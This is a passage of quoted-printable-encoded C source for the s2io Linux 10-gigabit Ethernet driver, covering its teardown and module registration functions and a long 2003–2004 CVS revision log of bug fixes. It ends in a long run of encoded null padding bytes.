netif_carrier_off(dev);=0A= =0A= return SUCCESS;=0A= =0A= set_swap_failed:=0A= unregister_netdev(dev);=0A= register_failed:=0A= iounmap(sp->bar1);=0A= bar1_remap_failed:=0A= iounmap(sp->bar0);=0A= bar0_remap_failed:=0A= mem_alloc_failed:=0A= freeSharedMem(sp);=0A= init_failed:=0A= pci_disable_device(pdev);=0A= pci_release_regions(pdev);=0A= pci_set_drvdata(pdev, NULL);=0A= s2io_free_netdev(dev);=0A= =0A= return -ENODEV;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * pdev - structure containing the PCI related information of the = device.=0A= * Return value:=0A= * void=0A= * Description:=0A= * This function is called by the Pci subsystem to release a PCI device =0A= * and free up all resource held up by the device. This could be in = response =0A= * to a Hot plug event or when the driver is to be removed from memory.=0A= */=0A= static void __exit s2io_rem_nic(struct pci_dev *pdev)=0A= {=0A= struct net_device *dev =3D=0A= (struct net_device *) pci_get_drvdata(pdev);=0A= nic_t *sp;=0A= =0A= if (dev =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "Driver Data is NULL!!\n");=0A= return;=0A= }=0A= sp =3D (nic_t *) dev->priv;=0A= freeSharedMem(sp);=0A= iounmap(sp->bar0);=0A= iounmap(sp->bar1);=0A= pci_disable_device(pdev);=0A= pci_release_regions(pdev);=0A= pci_set_drvdata(pdev, NULL);=0A= =0A= unregister_netdev(dev);=0A= =0A= s2io_free_netdev(dev);=0A= }=0A= =0A= int s2io_starter(void)=0A= {=0A= return pci_module_init(&s2io_driver);=0A= }=0A= =0A= void s2io_closer(void)=0A= {=0A= pci_unregister_driver(&s2io_driver);=0A= DBG_PRINT(INIT_DBG, "cleanup done\n");=0A= }=0A= =0A= #ifdef AS_A_MODULE=0A= module_init(s2io_starter);=0A= module_exit(s2io_closer);=0A= #endif=0A= =0A= /* To build the driver, =0A= gcc -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include -Wall = -Wstrict-prototypes -O2 -c s2io.c=0A= */=0A= /*=0A= *$Log: s2io.c,v $=0A= *Revision 1.101 2004/02/11 17:48:02 aravi=0A= *Bug: 669=0A= *A comment embedded inside a comment was causing compilation failure.=0A= *Fixed this.=0A= *=0A= *Revision 1.100 2004/02/11 03:00:06 aravi=0A= *Bug: 669=0A= *The source is modified to reflect the suggested changes with the bug = 669.=0A= *A few comments which are not incorporated:=0A= * *) // Enable DTX_Control registers.=0A= * write64(&bar0->dtx_control,0x8000051500000000);=0A= * udelay(50);=0A= *=0A= * -> this is a loop in disguise.=0A= * *)=0A= * if(skb =3D=3D NULL) {=0A= * DBG_PRINT(ERR_DBG,"%s: NULL skb = ",dev->name);=0A= * DBG_PRINT(ERR_DBG,"in Tx Int\n");=0A= * spin_unlock(&nic->tx_lock);=0A= *=0A= * -> just goto to the normal spin_unlock and avoid an=0A= *extra return=0A= * *) #ifdef AS_A_MODULE=0A= * MODULE_AUTHOR("Raghavendra Koushik = ");=0A= * MODULE_LICENSE("GPL"); MODULE_PARM(ring_num, "1-"=0A= *__MODULE_STRING(1) "i");=0A= *=0A= *Revision 1.99 2004/02/10 11:58:35 rkoushik=0A= *Bug: 668=0A= *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= *Further details in the bug.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.98 2004/02/09 10:31:34 rkoushik=0A= *Bug: 656=0A= * Made the changes suggested in Bug # 656.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.97 2004/02/07 02:16:17 gkotlyar=0A= *Bug: 682=0A= *OST and MMRBC fields of the PCI-X command registerd were overwritten=0A= *whenever we called s2io_reset(). In addition, we did not initialiaze = the OST bits before writing into it.=0A= *=0A= *Revision 1.96 2004/02/05 06:08:21 rkoushik=0A= *Bug: 693=0A= *Added stop_queue & wake_queue in s2io_link and the watchdog timer=0A= *resets Nic only if the Link state is up. Details mentioned in Bug # = 693.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.95 2004/02/04 04:52:35 rkoushik=0A= *Bug: 667=0A= * Indented the code using indent utility. Details of the options=0A= *used are specified in bug # 667=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.94 2004/02/02 12:03:32 rkoushik=0A= *Bug: 643=0A= *The tx_pkt_ptr variable has been removed. Tx watchdog function now does=0A= *a s2io_close followed by s2io_open calls to reset and re-initialise = NIC.=0A= *The Tx Intr scheme is made dependednt on the size of the Progammed = FIFOs.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.93 2004/01/29 05:41:24 rkoushik=0A= *Bug: 657=0A= *Loop back test is being removed from the driver as one of ethtool's = test=0A= *option.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.92 2004/01/29 04:01:48 aravi=0A= *Bug: 639=0A= *Added code for activity and Link LED=0A= *=0A= *Revision 1.91 2004/01/28 05:57:36 rkoushik=0A= *Bug: 603=0A= * The Fix is under a #if 1 macro in the txIntrHandler function.=0A= *Please verify using nttcp stress tests for long duration and confirm if=0A= *the fix works on all platforms. If it does I will rid the #if macro=0A= *and make it part of the mainstream code.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.90 2004/01/28 05:39:07 rkoushik=0A= *Bug: 520=0A= * The s2io_set_multicast function was corrected.=0A= *The Mac_cfg register was not being written after writing into its key = register=0A= *hence the NIC was not going into promiscous mode. Also to set = All_Multi mode=0A= *the RMAC's data0 and data1 registers were being incorrectly written.=0A= *Both mistakes were rectified.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.89 2004/01/23 12:08:29 rkoushik=0A= *Bug: 549=0A= *Added the beacon feature for new celestica cards using GPIO.=0A= *test it out using the ethtool utility on both=0A= *the new and old cards in both Link Up and Down states.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.88 2004/01/19 21:12:44 aravi=0A= *Bug: 599=0A= *Got rid of compilation error due to variable declaration after = assignment.=0A= *=0A= *Bug: 593=0A= *Fixed Tx Link loss problem by=0A= *1. checking for put pointer not going beyond get pointer=0A= *2. set default tx descriptors to 4096( done in s2io.h)=0A= *3. Set rts_frm_len register to MTU size.=0A= *4. Corrected the length used for address unmapping in=0A= * tx intr handler.=0A= *=0A= *Revision 1.87 2004/01/19 09:50:59 rkoushik=0A= *Bug: 598=0A= * Added GPL notices on the driver source files, namely=0A= *s2io.c, s2io.h and regs.h=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.86 2004/01/19 05:21:57 rkoushik=0A= *Bug: 614=0A= *The XAUI configuration was being done using old values mistakenly.=0A= *The initNic func was modified with the new values for XAUI = configuration.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.85 2004/01/13 13:13:05 rkoushik=0A= *Bug: 449=0A= * The driver source has been modified to follow most of the suggestion = given=0A= *by the codingStyle document in the linux Documentation folder.=0A= *Also some coding errors identified by Steve Modica mentioned in bug # = 536=0A= *have also been set right.=0A= *=0A= *Koushik=0A= *=0A= *Revision 1.84 2004/01/02 09:43:28 rkoushik=0A= *Bug: 581=0A= *Resetting Nic after performing RldRam test so as to remove RldRam from=0A= *Test Mode.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.83 2004/01/01 00:19:46 aravi=0A= *Bug: 570=0A= *Fixed race condition in Transmit path.=0A= *=0A= *Revision 1.82 2003/12/30 13:03:14 rkoushik=0A= *Bug: 177=0A= *The driver has been updated with support for funtionalities in ethtool=0A= *version 1.8. Interrupt moderation has been skipped as the methodology = to=0A= *set it using ethtool is different to our methodology.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.81 2003/12/16 20:43:38 ukiran=0A= *Bug:542=0A= *Workaround to address TX FIFO full condition=0A= *=0A= *Revision 1.80 2003/12/15 23:27:47 ukiran=0A= *Bug: 536=0A= *Changed buffer replenishing algorithm. Initializing receive memory.=0A= *=0A= *Revision 1.79 2003/12/15 05:08:06 rkoushik=0A= *Bug: 516=0A= * The Fix is against the problem seen by Lawerence Livermore people.=0A= *Further details on the problem and the fix is available in=0A= *bug # 516 of bugtrak.=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.78 2003/12/02 19:56:48 ukiran=0A= *Bug:524=0A= *Fix for all "FFs" MAC address problems on HP/Alpha platforms=0A= *=0A= *Revision 1.77 2003/12/02 19:53:12 ukiran=0A= *Bug:510=0A= *Cleanup of =0D chars=0A= *=0A= *Revision 1.76 2003/11/19 02:23:02 ukiran=0A= *Bug:473=0A= *Fix to address link down condition with misbehaving switches=0A= *=0A= *Revision 1.75 2003/11/14 01:53:36 ukiran=0A= *Bug:493=0A= *pci_set_consistent_dma_mask() is supported in kernels >2.6.0-test7.=0A= *Need to figure out whether it will be backported to 2.4.xx kernels.=0A= *=0A= *Revision 1.74 2003/11/12 05:32:06 rkoushik=0A= *Bug: 493=0A= *Added a kernel version check around the pci_set_consistent_dma_mask=0A= *function as specified in the latest comment of Bug # 493=0A= *=0A= *-Koushik=0A= *=0A= *Revision 1.73 2003/11/08 02:28:56 ukiran=0A= *Bug:493=0A= *Made the fix suggested by the customer. Added = pci_set_consistent_dma_mask() after pci_set_dma_mask(). This might help = in resolving pci_alloc_consistent failures at SGI.=0A= *we cannot verify this problem in our lab. We will verify at SGI.=0A= *Most of the drivers in public domain are not invoking this function.=0A= *So this problem exists in their adapters. However, tigon driver has=0A= *a fix for it.=0A= *=0A= *-Uday=0A= *=0A= *Revision 1.72 2003/11/07 10:22:40 rkoushik=0A= *Bug: 492=0A= *Changed as per the info provided in Bug # 492.=0A= *=0A= *Revision 1.71 2003/11/04 02:06:56 ukiran=0A= *Bug:484=0A= *Enabling Logs in source code=0A= *=0A= */=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= 